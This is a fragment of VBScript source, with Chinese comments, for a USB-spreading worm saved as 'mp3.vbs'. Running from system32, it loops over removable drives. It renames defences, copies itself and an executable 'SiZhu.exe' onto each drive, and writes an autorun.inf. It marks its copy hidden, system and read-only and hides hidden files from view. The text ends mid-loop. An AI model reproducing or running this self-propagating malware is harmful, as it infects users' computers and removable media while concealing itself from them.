On error resume next Dim fso,wshell,curfolder,curdristr,curdri Set fso=createobject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") Set curfolder=fso.GetFolder(".") curdristr=Left(WScript.ScriptFullName,3) Set curdri=fso.GetDrive(curdristr) reghid() '不显示隐藏文件 If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中 For i=1 To 2 Step 0 reghid() For Each dri In fso.Drives If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then 'autorun.inf文件夹改名 If fso.FolderExists(dri.Path&"\autorun.inf") Then fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish" End If '复制自身及exe文件到移动硬盘 If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then Else If fso.FileExists(dri.Path&"\mp3.vbs") Then fso.DeleteFile dri.Path&"\mp3.vbs",True ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then fso.DeleteFile dri.Path&"\autorun.inf",True End if fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True End If autoinf(dri.Path) '给刚复制的文件加上隐藏属性 Set norkon=fso.GetFile(dri.Path&"\mp3.vbs") wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0 Set norkon=Nothing